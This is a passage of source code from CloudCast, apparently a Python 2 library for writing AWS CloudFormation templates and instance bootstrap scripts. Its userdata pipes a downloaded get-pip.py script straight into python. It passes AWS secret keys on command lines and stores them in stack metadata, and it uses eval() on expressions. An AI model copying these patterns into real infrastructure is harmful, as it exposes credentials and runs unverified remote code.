for proc in reversed(self.processors):
proc.deploy(self)
def add_processor(self, proc):
self.processors.append(proc)
proc.install(self)
def is_buildable(self):
return False
def iscm_set_flag(self, name, boolean=True):
self.flags[name] = bool(boolean)
def iscm_get_flag(self, name):
if not self.flags.has_key(name):
return False
return self.flags[name]
def iscm_set_var(self, name, value):
self.heap[name] = value
def iscm_get_var(self, name):
if not self.heap.has_key(name):
return None
return self.heap[name]
def iscm_ud_append(self, *userdata):
"""
Append elements to userdata
"""
self.userdata_elems += list(userdata)
def iscm_md_get(self, keypath):
current = self.metadata
for k in string.split(keypath, "."):
if type(current) != dict or not current.has_key(k):
return None
current = current[k]
return current
def iscm_md_update_dict(self, keypath, data):
"""
Update a metadata dictionary entry
"""
current = self.metadata
for k in string.split(keypath, "."):
if not current.has_key(k):
current[k] = {}
current = current[k]
current.update(data)
def iscm_md_append_array(self, arraypath, member):
"""
Append a member to a metadata array entry
"""
array_path = string.split(arraypath, ".")
array_key = array_path.pop()
current = self.metadata
for k in array_path:
if not current.has_key(k):
current[k] = {}
current = current[k]
if not current.has_key(array_key):
current[array_key] = []
if not type(current[array_key]) == list:
raise KeyError("%s doesn't point to an array" % arraypath)
current[array_key].append(member)
def iscm_wc_signal_on_end(self, wc_handle_elem):
"""
Notify WaitConditon when the iSCM is done
"""
self.wc_handle = wc_handle_elem
def context_lookup(self, vars):
"""
Lookup the variables in the provided dictionary, resolve with entries
in the context
"""
while isinstance(vars, IscmExpr):
vars = vars.resolve(self.context)
#
for (k,v) in vars.items():
if isinstance(v, IscmExpr):
vars[k] = v.resolve(self.context)
return vars
def apply_to(self, launchable):
"""
Apply this ISCM configuration into a launchable resource, such as
an EC2 instance or an AutoScalingGroup LaunchConfig.
"""
# Update user data
if launchable.get_property("UserData") is not None:
raise NotImplementedError("It's not yet supported to append SCM to existing userdata")
user_data = {
"Fn::Base64" : {
"Fn::Join" : ["", [
"\n".join([
r'#!/bin/bash',
r'FATAL() { code=$1; shift; echo "[FATAL] $*" >&2; exit $code; }',
r'ERROR() { echo "[ERROR] $*" >&2 ; }',
r'WARN() { echo "[WARNING] $*" >&2 ; }',
r'INFO() { echo "[INFO] $*" >&2 ; }', "",
])
] + (self.wc_handle is not None and [
cfnjoin("",
r'ISCM_WCHANDLE_URL="', self.wc_handle, '"\n'
)
] or []) + [
"\n".join([
r'{',
r'INFO "CloudCast ISCM booting on $(date)"',
"\n\n"
])
] + self.userdata_elems + [
"\n".join([ "",
r'iscm_result=$?',
r'[ -n "$ISCM_WCHANDLE_URL" ] && [ -n "$(which cfn-signal)" ] && cfn-signal -e $iscm_result $ISCM_WCHANDLE_URL',
'\nINFO "CloudCast ISCM successfully completed on $(date)"',
'} 2>&1 | tee -a /iscm.log\n'
])
]
]}
}
launchable.add_property("UserData", user_data)
# Set meta data keys
for k in self.metadata:
if launchable.get_metadata_key(k) is not None:
raise NotImplementedError("It's not yet supported to append to existing metadata keys")
launchable.add_metadata_key(k, self.metadata[k])
@classmethod
def parse_context(cls, context_def, context):
# Examine each entry in context_def
for (k,v) in context_def.items():
if v["required"] and not context.has_key(k):
raise KeyError("Context doesn't contain required var %s" % k)
if not v["required"] and (not context.has_key(k) or context[k] is None):
if v["default"] is not None:
context[k] = v["default"]
if v.has_key("iscm_ctxt"):
if not context.has_key("_iscm"):
context["_iscm"] = {}
iscm_key = v["iscm_ctxt"]
context["_iscm"][iscm_key] = context[k]
return context
class IscmExpr(object):
"""
Expressions are used while defining module variables. This allows us to
perform substitutions based on the context passed to the main ISCM obj.
"""
def resolve(self, context):
raise NotImplementedError("Abstract class")
class IscmPythonExpr(IscmExpr):
"""
Evaluates a python expression, with the context as global dictionary
"""
def __init__(self, expr):
self.expr = expr
def resolve(self, context):
return eval(self.expr, context)
class IscmQExpr(IscmExpr):
"""
Simple string expression, i.e. ".var" resolves to "value", when
context is { "var": "value" }
"""
def __init__(self, q):
self.q = q
def resolve(self, context):
from dq import query
return query(self.q, context)
class IscmDictsExpr(IscmExpr):
"""
Expression to join several dictionary-like expressions
"""
def __init__(self, *dicts):
self.dicts = dicts
def resolve(self, context):
def _normalize_to_items(dict_expr):
d = dict_expr
while not isinstance(d, dict):
if isinstance(d, IscmExpr):
d = d.resolve(context)
return d.items()
return dict( reduce(lambda r,x: r + _normalize_to_items(x), self.dicts, []) )
class IscmJoinExpr(IscmExpr):
"""
Maps to CloudFormation's join function, just making sure that we first parse
each of the joined members through the context lookup
"""
def __init__(self, token, *members):
self.token = token
self.members = members
def resolve(self, context):
members = map(lambda m: isinstance(m,IscmExpr) and m.resolve(context) or m, self.members)
return cfnjoin(self.token, *members)
def q(query):
"""
Wrapper around IscmQExpr
"""
return IscmQExpr(query)
def dicts(*dicts):
"""
Wrapper around IscmDictsExpr
"""
return IscmDictsExpr(*dicts)
def expr(expr):
"""
Wrapper around IscmPythonExpr
"""
return IscmPythonExpr(expr)
def join(token, *members):
"""
Wrapper around IscmJoinExpr
"""
return IscmJoinExpr(token, *members)
class context_var:
"""
Class containing static methods that help with the definition of context
vars (required/optional with default value)
"""
@classmethod
def required(cls):
return { "required": True }
@classmethod
def optional(cls, default):
return { "required": False, "default": default }
@classmethod
def cfninit_key(cls):
return { "required": True, "iscm_ctxt": "cfninit_key" }<file_sep>/README.md
CloudCast - Easy and powerful stack templates for AWS CloudFormation
====================================================================
What is it?
-----------
AWS CloudFormation is pretty powerful, but once your stacks are getting
sophisticated, it can be hard to work with. You may easily get
lost in a sea of maps and lists, and it can be hard to keep track of
references across your resources.
Also, this may be my personal pet peeve, but JSON has no syntax for comments!
This makes templates written for CFN hard to document and maintain.
With CloudCast you can easily create any template you would write for CFN, but
using plain Python syntax.
Resources, Mappings, Parameters and Outputs are defined as Python objects. It
looks cleaner and you can do smarter stuff with them!
For instance:
from cloudcast.template import Resource
LoadBalancer = Resource(
"AWS::ElasticLoadBalancing::LoadBalancer",
AvailabilityZones=[ 'us-east-1c', 'us-east-1d' ],
HealthCheck={
"HealthyThreshold" : "2",
"Interval" : "30",
"Target" : "HTTP:80/status",
"Timeout" : "5",
"UnhealthyThreshold" : "3"
},
Listeners=[{
"InstancePort" : "80",
"InstanceProtocol" : 'HTTP',
"LoadBalancerPort" : "80",
"Protocol" : 'HTTP',
}]
),
)
If you are familiar with AWS and CFN, this structure shouldn't be strange to you.
We have just declared an ELB resource with some properties.
Later on, the load balancer may be referenced from a security group, in order to
be allowed to access the service ports in the balanced instances:
AppSG = Resource(
"AWS::EC2::SecurityGroup",
GroupDescription = "Allow access app from LB only",
SecurityGroupIngress = [ {
"IpProtocol" : "tcp",
"FromPort" : 80,
"ToPort" : 80,
"SourceSecurityGroupOwnerId" : LoadBalancer['SourceSecurityGroup.OwnerAlias'],
"SourceSecurityGroupName": LoadBalancer['SourceSecurityGroup.GroupName'],
}]
)
Since you are dealing with Python objects, nothing is stopping you from
bundling them in your own libraries and reusing them as necessary. We have
an example of that around here (look at the cloudcast.library.stack_user module).
In fact, you can create any Python code that may help you making your
templates simpler and more expressive!
How do you get the JSON templates?
----------------------------------
Once you've got your template python file (let's call it template.py), you would:
from cloudcast import Stack
stack = Stack(
description = "Sample stack that doesn't do much",
env = { ... define environment vars here ... },
resources_file = "template.py"
)
print stack.dump_json()
The following will happen:
1. The Stack class will load, examine your code module and find
the relevant objects to be included in the CloudFormation template (resources,
outputs, parameters..). It shouldn't get confused with any other code you
may have there.
2. The template will be printed out for you to feed into CloudFormation.
Deploying software on the instances
-----------------------------------
Cloudcast helps you embed your instance software configuration into your
CloudFormation templates. In order to do that, it allows you to leverage
some technologies that are usually applied for this purpose:
- [cfn-init](http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-init.html)
- shell scripts
- [ansible](http://www.ansible.com)
The support for this is fairly extensible, so it wouldn't be too far fetched to add support for other SCMs like Chef or Puppet.
Special thanks
--------------
[Bright & Shiny](http://brightandshiny.com/) - their support and fine
understanding of well managed infrastructure, made it possible for me to
devote the necessary efforts to evolve this concept.
If you are looking for an awesome software agency make sure to check their
website!
[Lifestreams Technology](http://lifestreams.com/) - developing for their
products has proved to be an excellent ground to develop and put into
practice new ideas such as the one that originated this project. Thanks
for the chance to bring CloudCast to the point where it is a key technology
to support mission-critical operations.
<file_sep>/cloudcast/template.py
'''
Symbols available to templates. Just
from cloudcast.template import *
and use at your heart's content!
@author: <NAME> <<EMAIL>>
'''
from cloudcast.elements import \
Parameter, Mapping, Resource, Output, EC2Instance, EC2LaunchConfiguration, \
WaitCondition, WaitConditionHandle, get_ref_name
class AWS:
from cloudcast.elements import CfnSimpleExpr, CfnRegionExpr
Region = CfnRegionExpr()
StackName = CfnSimpleExpr({ "Ref" : "AWS::StackName" })
AZs = CfnSimpleExpr({ "Fn::GetAZs" : "" })
# Wrapper in order to generate JSON for AWS's "Fn::Join" built-in
def join(token, *kargs):
from cloudcast.elements import CfnSimpleExpr
return CfnSimpleExpr({ "Fn::Join" : [ token, list(kargs) ] })
# Wrapper around Fn::Select cfn function
def select(listOfObjects, index):
from cloudcast.elements import CfnSelectExpr
return CfnSelectExpr(listOfObjects, index)
<file_sep>/tests/template1.rsc.py
'''
Test/sample cloudcast template
@author: <NAME> <<EMAIL>>
'''
from cloudcast.template import *
from cloudcast.library import stack_user
from _context import stack
from cloudcast.iscm.cfninit import CfnInit
from cloudcast.iscm.shell import Shell
keyName = "ec2deploy"
PreciseAMIs = Mapping({
"us-east-1" : { "ebs": "ami-0b9c9f62", "instance": "ami-6f969506" },
"us-west-2" : { "ebs": "ami-6335a453", "instance": "ami-4933a279" }
})
# SQS queues example
SQSQueue1 = Resource("AWS::SQS::Queue")
SQSQueue2 = Resource("AWS::SQS::Queue")
AnInstance = EC2Instance(
ImageId = PreciseAMIs.find(AWS.Region, "ebs"),
InstanceType = stack.env['instance_type'],
KeyName = keyName,
iscm = [
CfnInit(
stack_user_key=stack_user.CloudFormationStackUserKey,
configs=[
{
"commands" : {
"apt-update" : {
"command" : "apt-get update"
}
}
},
{
"packages": {
"apt": { "git": [] }
},
"files": {
"/etc/myqueues.json": {
"content" : {
"Queue1": SQSQueue1['QueueName'],
"Queue2": SQSQueue2['QueueName']
},
"mode": "000644",
"owner": "root",
"group": "root"
}
}
},
{
"users": {
"awsuser": {
"uid": "1001",
"homeDir" : "/home/user"
}
}
}
],
),
Shell(
shell_vars = {
'APP_AWS_KEY_ID': stack_user.CloudFormationStackUserKey,
'APP_AWS_SECRET_KEY': stack_user.CloudFormationStackUserKey["SecretAccessKey"]
},
scripts = [
Shell.runScript("scripts/sample-script.sh"),
]
)
]
)
<file_sep>/setup.py
'''
@author: <NAME> <<EMAIL>>
'''
from setuptools import setup, find_packages
setup(
name = "cloudcast",
version = "0.1.2",
packages = find_packages(),
package_data = {
# Script files that contain initial bootstrap sequences
'cloudcast.iscm': ['scripts/*']
},
install_requires = ['dq>=0.1.2', 'fs>=0.5.0', 'PyYAML>=3.11'],
description = ("Easy and powerful stack templates for AWS CloudFormation"),
author = "<NAME>",
author_email = "<EMAIL>",
license = 'MIT',
keywords = "aws internet cloud cloudformation deployment automation",
long_description = open('README.md').read(),
url = "http://github.com/tuxpiper/cloudcast",
zip_safe = False,
classifiers=[
"Development Status :: 3 - Alpha",
"Topic :: System",
"Environment :: Console",
"Intended Audience :: System Administrators",
"License :: OSI Approved :: MIT License",
"Programming Language :: Python"
],
)
<file_sep>/cloudcast/iscm/cfninit.py
#!/usr/bin/env python
import copy, types
_default_get_pip_url = "https://bootstrap.pypa.io/get-pip.py"
_default_aws_cfn_bootstrap_url = "https://s3.amazonaws.com/cloudformation-examples/aws-cfn-bootstrap-1.3.16.tar.gz"
from cloudcast.iscm import IscmExpr
from cloudcast.template import AWS, Resource
class CfnAttrAccess(object):
"""
Access an attribute of an object only when the template is being printed out
"""
def __init__(self, obj, attr):
self.obj = obj
self.attr = attr
def cfn_expand(self):
return self.obj.__getattribute__(self.attr)
class CfnInit(object):
"""
Configure an instance using cfn-init
( http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-init.html ,
http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-init.html )
This class makes sure that the tools are installed, and that they are
provided with the right credentials, so they can acess the instance metadata
"""
def __init__(self, **kwargs):
if kwargs.has_key('configs'):
# An array of configs
self.configs = kwargs['configs']
else:
# A single config, passed directly as kwargs
self.configs = [kwargs]
def install(self, iscm):
if not iscm.iscm_get_flag("cfninit_installed"):
iscm.add_processor(CfnInitISCM(iscm.context["_iscm"]["cfninit_key"]))
def deploy(self, iscm):
# Load configs if provided
if type(self.configs) in (list, tuple, set):
for config in self.configs:
iscm.iscm_cfninit_add_config(config)
elif type(self.configs) == dict:
for (name,config) in self.configs.iteritems():
iscm.iscm_cfninit_add_config(config, name=name)
else:
raise RuntimeError("Unrecognized container for configs")
class CfnEmbedFile(object):
"""
Embed a file into the cfn stack. By default, it gzips and base-64 encodes
the file contents. The contents are gunzipped as part of the instance
initialization process.
"""
def __init__(self, **kwargs):
# Locate the file
from cloudcast._utils import caller_folder, search_file
from os import getcwd
from os.path import basename
#
search_paths = [ caller_folder(), getcwd() ]
if kwargs.has_key("src_file"):
self.basename = basename(kwargs['src_file'])
self.src_path = search_file(kwargs['src_file'], *search_paths)
if self.src_path is None:
raise RuntimeError("File %s couldn't be found" % kwargs['src_file'])
self.contents = None
elif kwargs.has_key("contents"):
self.contents = kwargs['contents']
self.src_path = None
self.basename = "noname"
else:
raise RuntimeError("src_file or contents ought to be specified")
#
if not kwargs.has_key("dest_path"):
raise RuntimeError("No dest_path specified")
self.dest_path = kwargs['dest_path']
# Save extra attributes
self.attrs = dict(owner='root', group='root', mode='000644')
if kwargs.has_key('owner'):
self.attrs['owner'] = kwargs['owner']
if kwargs.has_key('group'):
self.attrs['group'] = kwargs['group']
if kwargs.has_key('mode'):
self.attrs['mode'] = kwargs['mode']
def install(self, iscm):
if not iscm.iscm_get_flag("cfninit_installed"):
iscm.add_processor(CfnInitISCM(iscm.context["_iscm"]["cfninit_key"]))
def deploy(self, iscm):
# Read and gzip-encode the file
gz_dest_path = self.dest_path + ".gz"
def create_config(gzstr):
# Create a config that writes and ungzips file contents
from base64 import b64encode
config = dict(
files={
gz_dest_path : dict(
encoding="base64",
content=b64encode(gzstr.getvalue()),
group=self.attrs['group'],
owner=self.attrs['owner'],
mode=self.attrs['mode']
)
},
commands={
"gunzip-%s" % self.basename : dict(
command="gunzip -n -f %s" % gz_dest_path
)
}
)
iscm.iscm_cfninit_add_config(config)
#
from cloudcast._utils import in_mem_gzip, in_mem_gzip_file
if self.src_path is not None:
with in_mem_gzip_file(self.src_path, self.basename) as gzstr:
create_config(gzstr)
else:
if isinstance(self.contents, IscmExpr):
self.contents = self.contents.resolve(iscm.context)
with in_mem_gzip(self.contents, self.basename) as gzstr:
create_config(gzstr)
class CfnInitISCM(object):
def __init__(self, stack_user_key, **kwargs):
self.configs = {}
self.config_names = [] # Keeps runtime order of configs
self.config_sets = {} # Custom order/set of configs to be run
self.run_config_sets = "default" # Config sets to be run
self.unnamed_config_k = 0 # We use this to name configs with no name
#
# Take care of some bootstrapping params here
self.stack_user_key = stack_user_key
self.get_pip_url = _default_get_pip_url
self.aws_cfn_bootstrap_url = _default_aws_cfn_bootstrap_url
if kwargs.has_key("get_pip_url"):
self.get_pip_url = kwargs['get_pip_url']
if kwargs.has_key("aws_cfn_bootstrap_url"):
self.aws_cfn_bootstrap_url = kwargs["aws_cfn_bootstrap_url"]
def iscm_cfninit_add_config(self, config, name=None):
if name == "configSets":
raise RuntimeError("Reserved config name 'configSets' can't be used")
if name is None:
name = "cfninit_%03d" % self.unnamed_config_k
self.unnamed_config_k += 1
if self.configs.has_key(name):
raise RuntimeError("cfn-init config with name %s already exists") % name
self.configs[name] = config
self.config_names.append(name)
def iscm_cfninit_get_stack_user_key(self):
return self.stack_user_key
def iscm_cfninit_add_configset(self, name, *configs):
self.config_sets[name] = configs
def iscm_cfninit_run_configsets(self, *configsets):
self.run_config_sets = ",".join(configsets)
def install(self, iscm):
# Load iscm with our methods so they are available to actions and other processors
import types
iscm_cfninit = self
if not hasattr(iscm, "iscm_cfninit_add_config"):
def wrapper_1(self, config, name=None):
iscm_cfninit.iscm_cfninit_add_config(config, name)
iscm.iscm_cfninit_add_config = types.MethodType(wrapper_1, iscm)
if not hasattr(iscm, "iscm_cfninit_get_stack_user_key"):
def wrapper_2(self):
return iscm_cfninit.iscm_cfninit_get_stack_user_key()
iscm.iscm_cfninit_get_stack_user_key = types.MethodType(wrapper_2, iscm)
if not hasattr(iscm, "iscm_cfninit_add_configset"):
def wrapper_3(self, name, *configs):
return iscm_cfninit.iscm_cfninit_add_configset(name, *configs)
iscm.iscm_cfninit_add_configset = types.MethodType(wrapper_3, iscm)
if not hasattr(iscm, "iscm_cfninit_run_configsets"):
def wrapper_4(self, *configsets):
return iscm_cfninit.iscm_cfninit_run_configsets(*configsets)
iscm.iscm_cfninit_run_configsets = types.MethodType(wrapper_4, iscm)
iscm.iscm_set_flag("cfninit_installed")
def deploy(self, iscm):
#
# Load configs into the resource metadata, so cfn-init can find them
# on runtime and get them done
cfninit_metadata = self.configs
#
all_config_sets = { "default": self.config_names }
all_config_sets.update(self.config_sets)
cfninit_metadata.update({
"configSets": all_config_sets
})
iscm.iscm_md_update_dict("AWS::CloudFormation::Init", cfninit_metadata)
iscm.iscm_ud_append(
"\n".join([
# r'PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/opt/aws/bin',
r'[ -z "`which python`" ] && FATAL 1 "Unable to find python"',
r'[ -z "`which pip`" ] && [ ! -x /usr/local/bin/pip ] && { curl -L %s | python; }' % self.get_pip_url,
r'PIP_PATH=`which pip`',
r'PIP_PATH=${PIP_PATH:-/usr/local/bin/pip}',
r'[ ! -x "$PIP_PATH" ] && FATAL 1 "Unable to find/install pip, which is required"',
r'[ -z "`which cfn-get-metadata`" ] && [ ! -x /usr/local/bin/cfn-get-metadata ] && $PIP_PATH install %s' % self.aws_cfn_bootstrap_url,
r'CFN_GETMETA_PATH=`which cfn-get-metadata`',
r'CFN_GETMETA_PATH=${CFN_GETMETA_PATH:-/usr/local/bin/cfn-get-metadata}',
r'[ ! -x "$CFN_GETMETA_PATH" ] && FATAL 1 "Unable to find cfn-init tools"',
]),
"\n",
'export AWS__STACK_NAME="', AWS.StackName ,'" ',
'AWS__STACKEL_NAME="', Resource.ThisName() , '" ',
'AWS__BOOTSTRAP_KEY_ID="', self.stack_user_key , '" ',
'AWS__BOOTSTRAP_SECRET_KEY="', self.stack_user_key["SecretAccessKey"] , r'" ',
'AWS__REGION="', AWS.Region , '"\n',
r'cfn-init -v',
r' -s "$AWS__STACK_NAME"',
r' -r "$AWS__STACKEL_NAME"',
r' --region "$AWS__REGION"',
r' --access-key "$AWS__BOOTSTRAP_KEY_ID"',
r' --secret-key "$AWS__BOOTSTRAP_SECRET_KEY"',
r' --configsets ', CfnAttrAccess(self, "run_config_sets")
)
<file_sep>/cloudcast/iscm/scripts/init.sh
FATAL() { code=$1; shift; echo "[FATAL] $*" >&2; exit $code; }
ERROR() { echo "[ERROR] $*" >&2 ; }
WARN() { echo "[WARNING] $*" >&2 ; }
INFO() { echo "[INFO] $*" >&2 ; }
{ : ${SHELL_ISCM_NAME:?} ; } || FATAL 1 "Missing required vars"
get_instance_id() { wget -q -O - http://169.254.169.254/latest/meta-data/instance-id ; }
export AWS__INSTANCE_ID=$(get_instance_id)
load_shell_vars() {
local decode_vars_py=$(cat <<"EOF"
import json, sys
doc = json.load(sys.stdin, encoding="latin-1")
for (k,v) in doc.iteritems():
if not isinstance(v,str) and not isinstance(v,unicode):
continue
if isinstance(k,unicode): k = k.encode('latin-1')
if isinstance(v,unicode): v = v.encode('latin-1')
print "%s=\"%s\"" % (k, v.replace('"', '\\"'))
EOF
)
local stack_vars_file=$(mktemp)
{ cfn-get-metadata -s $AWS__STACK_NAME -r $AWS__STACKEL_NAME \
--access-key $AWS__BOOTSTRAP_KEY_ID \
--secret-key $AWS__BOOTSTRAP_SECRET_KEY \
--region $AWS__REGION -k ${SHELL_ISCM_METADATA_VARS_KEY} | \
python -c "$decode_vars_py" > $stack_vars_file ; } || \
FATAL 1 "Unable to load stack variables"
source $stack_vars_file
rm $stack_vars_file
}
[ -n "${SHELL_ISCM_METADATA_VARS_KEY}" ] && load_shell_vars
<file_sep>/cloudcast/iscm/scripts/install_ansible.sh
#!/bin/bash
set -e
: ${ANSIBLE_HOME:?} ${ANSIBLE_VERSION:?}
{ if [ -z "$(which virtualenv)" ]; then pip install virtualenv==12.0.4 ; else true ; fi } && \
{ if [ ! -f $ANSIBLE_HOME/bin/activate ]; then virtualenv --system-site-packages $ANSIBLE_HOME ; else true ; fi }
. $ANSIBLE_HOME/bin/activate
ver_check() {
local IFS=.
local mod="$1" w=($2)
local v=($(python -c 'import '${mod}'; print '${mod}'.__version__;' 2> /dev/null))
[ "$?" -ne 0 ] && return 1;
[[ ( ! -z "${v[0]}" ) && ( ${v[0]} -ge ${w[0]} ) ]] && \
[[ ( ! -z "${v[1]}" ) && ( ${v[1]} -ge ${w[1]} ) ]] && \
[[ ( ! -z "${v[2]}" ) && ( ${v[2]} -ge ${w[2]} ) ]]
}
ver_check ansible $ANSIBLE_VERSION && exit 0
eval `lsb_release -irs | awk 'NR == 1 { printf "export LSB_DISTRO=%s\n", $1 } NR == 2 { printf "export LSB_VERSION=%s\n", $1 }'`
case "$LSB_DISTRO" in
Ubuntu)
if [ "$LSB_VERSION" == "14.04" ]; then
ver_check Crypto 2.6.1 || { apt-get update && apt-get install -y python-crypto ; }
else
echo "ERROR: Unhandled Ubuntu version '$LSB_VERSION'"
exit 1
fi
;;
*)
echo "ERROR: Unhandled distro '$LSB_DISTRO'"
exit 1
;;
esac
pip install boto==2.38.0
pip install ansible==${ANSIBLE_VERSION}
<file_sep>/cloudcast/iscm/ansible.py
from cloudcast.iscm.cfninit import CfnEmbedFile
from cloudcast.iscm.phased import PhasedISCM, RunAlways, RunOnce, RunOnDeploy
from cloudcast._utils import caller_folder, search_path
from cloudcast.template import AWS, Resource
from copy import copy
from os import getcwd
import os
_ansibleinstall_script = os.path.join(os.path.dirname(__file__), "scripts", "install_ansible.sh")
"""
Wrapper for the standard pattern of having ansible initialization and boot module.
Some examples:
"""
class AnsibleISCM(PhasedISCM):
def __init__(self, **kwargs):
# valid kwargs
# * config
# * stack_user_key
# * facts
# * vars
# * playbooks_source / (playbook_sources)
# * boot / (runs)
if not kwargs.has_key("stack_user_key"):
raise RuntimeError("Required AnsibleISCM argument 'stack_user_key' missing!")
# The context of the ISCM is defined from the facts and the stack_user_key
if kwargs.has_key('facts'):
context = copy(kwargs['facts'])
else:
context = {}
context["_iscm"] = { "cfninit_key": kwargs["stack_user_key"] }
# Prepare config ISCM module
cfg_kwargs = dict( filter(lambda (k,v): k in AnsibleConfig.init_kwargs, kwargs.items()) )
cfg_kwargs['_basepath'] = caller_folder()
cfg_module = AnsibleConfig(**cfg_kwargs)
# Standard set of build phases: config, build, boot
phases = [ RunAlways( "AnsibleConfig", [ cfg_module ] ) ]
if cfg_module.run_manager.has_run('build'):
phases.append(RunOnce("Ansible-Build", [ Ansible('build') ]))
if cfg_module.run_manager.has_run('boot'):
phases.append(RunOnDeploy("Ansible-Boot", [ Ansible('boot') ]))
# Initialize the phased ISCM that we wrap around
PhasedISCM.__init__(self, context, phases)
"""
ISCM module to configure ansible install in the instance
"""
class AnsibleConfig(object):
init_kwargs = [ "config", "facts", "playbooks_source", "boot", "runs", "_basepath" ]
def __init__(self, **kwargs):
# Get the basepath from which playbook files can be searched locally
if kwargs.has_key('_basepath'):
self.basepath = kwargs['_basepath']
else:
self.basepath = caller_folder()
#
self.config = {}
if kwargs.has_key("config"): self.config = kwargs["config"]
self._check_config()
#
self.pb_sources = _AnsiblePlaybookSources(config=self.config, basepath=self.basepath)
if kwargs.has_key('playbooks_source'):
self.pb_sources.add_folder(kwargs['playbooks_source'])
#
self.facts = {}
if kwargs.has_key("facts"): self.facts = kwargs["facts"]
#
if kwargs.has_key("boot"):
self.run_manager = _AnsibleRunManager(boot=kwargs["boot"], ansible_config=self.config)
else:
self.run_manager = _AnsibleRunManager(runs=kwargs["runs"], ansible_config=self.config)
def _check_config(self):
for k in self.config.keys():
if k not in [ 'ansible_home', 'ansible_version', 'sudo', 'tags', 'skip_tags', 'inst_home', 'inst_playbook_dir', 'inst_user', 'inst_group' ]:
raise RuntimeError("Unknown AnsibleConfig directive %s" % k)
#
if not self.config.has_key('inst_home') or \
not self.config.has_key('inst_user') or \
not self.config.has_key('inst_group') or \
not self.config.has_key('inst_playbook_dir'):
raise RuntimeError("Missing required configuration for AnsibleConfig")
#
if not self.config.has_key('ansible_version'):
self.config['ansible_version'] = "1.8.2"
#
if not self.config.has_key('ansible_home'):
self.config['ansible_home'] = "/opt/cfn-ansible"
#
from os.path import isabs, join
inst_pb_dest_path = self.config['inst_playbook_dir']
if not isabs(inst_pb_dest_path):
inst_pb_dest_path = join(self.config['inst_home'], inst_pb_dest_path)
if not isabs(inst_pb_dest_path):
raise RuntimeError("Can't interpolate absolute path in the instance for playbooks to be!")
self.config['_inst_playbook_path'] = inst_pb_dest_path
def _get_ansible_install_inventory(self, iscm):
ans_home = self.config['ansible_home']
return dict(
files= {
"%s/etc/hosts" % ans_home : dict(
content= \
"[local]\n" + \
"localhost\n\n" + \
"[targets]\n" + \
"localhost\tansible_connection=local ansible_python_interpreter=%s/bin/python\n" % ans_home,
owner= 'root',
group= 'root',
mode= "000644"
)
})
def _get_ansible_install_facts_cfninit(self, iscm):
stack_user_key = iscm.iscm_cfninit_get_stack_user_key()
ans_home = self.config['ansible_home']
return dict(
commands= dict(
ansible_get_facts= dict(
command= {
"Fn::Join" : ["", [
'[ ! -d %s/etc/host_vars ] && mkdir -p %s/etc/host_vars ; ' % (ans_home, ans_home),
'cfn-get-metadata --access-key ', stack_user_key,
' --secret-key ', stack_user_key["SecretAccessKey"],
' --region ', AWS.Region,
' --stack ', AWS.StackName,
' --resource ', Resource.ThisName(),
' --k _ansible_facts ',
# " | ( . %s/bin/activate ; python -c 'import json, yaml, sys ; print yaml.safe_dump(json.load(sys.stdin), default_flow_style=False, explicit_start=True, indent=2, allow_unicode=True)' ; ) " % ans_home,
' > %s/etc/host_vars/localhost.json' % ans_home
] ]
}
)
)
)
def install(self, iscm):
# This iscm module uses the cfn-init module to deploy and execute
# its payload. If it's not installed we shall fail
if not hasattr(iscm, "iscm_cfninit_add_config"):
raise RuntimeError("The Shell ISCM module depends on the CfnInit module to be installed in the same chain")
# There can only be one of us
if iscm.iscm_get_flag("ansible_is_configured"):
raise RuntimeError("Only one AnsibleConfig module allowed per ISCM object")
iscm.iscm_set_flag("ansible_is_configured")
# Save some variables that are useful to other modules
iscm.iscm_set_var("ansible_inst_user", self.config['inst_user'])
iscm.iscm_set_var("ansible_run_script", os.path.join(self.config['inst_home'], 'cfn-ansible.sh'))
# Install references to the runs in the iscm
self.run_manager.install(iscm)
def deploy(self, iscm):
stack_user_key = iscm.iscm_cfninit_get_stack_user_key()
# Place the context variables (facts) into a section of the metadata
facts_md_entry = "_ansible_facts"
# Add aws config to facts
self.facts.update({
'aws_access_key': stack_user_key,
'aws_secret_key': stack_user_key["SecretAccessKey"],
'aws_region': AWS.Region
})
iscm.iscm_md_update_dict(facts_md_entry, self.facts)
# Make sure ansible is installed
CfnEmbedFile(src_file=_ansibleinstall_script, dest_path="/root/install-ansible.sh", owner="root", group="root", mode="000700").deploy(iscm)
iscm.iscm_cfninit_add_config({
"commands": {
"ansible_install": {
"command": "/root/install-ansible.sh",
"env": {
"ANSIBLE_HOME": self.config['ansible_home'],
"ANSIBLE_VERSION": self.config['ansible_version']
}
}
}
},
"_ansible_install")
# Add inventory file
iscm.iscm_cfninit_add_config(self._get_ansible_install_inventory(iscm), "_ansible_install_inventory")
# Install facts
iscm.iscm_cfninit_add_config(self._get_ansible_install_facts_cfninit(iscm), "_ansible_install_facts")
# Embed the playbook sources
self.pb_sources.deploy(iscm)
# Deploy the script that wraps the ansible runs as specified
self.run_manager.deploy(iscm)
"""
This class handles the playbook sources to be installed into the instance
"""
from fs.multifs import MultiFS
from fs.osfs import OSFS
class _AnsiblePlaybookSources(object):
def __init__(self, **kwargs):
self.fs = MultiFS()
self.config = kwargs['config']
self.basepath = kwargs['basepath']
def add_folder(self, folder_path, dest=""):
real_path = search_path(folder_path, self.basepath, getcwd())
if real_path is None:
raise RuntimeError("Couldn't find ansible playbook sources at %s" % folder_path)
self.fs.addfs(dest, OSFS(real_path))
# TODO: In the future...
# def add_git(self, **kwargs):
# def add_file_url(self, url):
# Plain method to embed the playbook contents into the cloudformation template
def _fs_to_cfninit_plain(self):
from base64 import b64encode
# Create a metadata object that, when executed by cfn-init, will result in the files
# being created in the instance
from os.path import join
files_obj = {}
target = self.config['_inst_playbook_path']
for (fs_dir, fs_dirfiles) in self.fs.walk():
# TODO: more deterministic order of walking through the files
if fs_dir[0] == '/': fs_dir = fs_dir[1:]
t = join(target, fs_dir)
for f in fs_dirfiles:
src = join(fs_dir, f)
dest = join(t, f)
encoding= None
try:
contents= self.fs.getcontents(src, mode='rb')
contents.decode('utf-8')
except UnicodeDecodeError:
encoding= "base64"
contents= b64encode(contents)
files_obj[dest] = dict(
content= contents,
owner= self.config['inst_user'],
group= self.config['inst_group'],
mode= "000640"
)
files_obj[dest].update( {"encoding": encoding} if encoding else {} )
return files_obj
def deploy(self, iscm):
# Create cfn-init stanzas for creating the added files
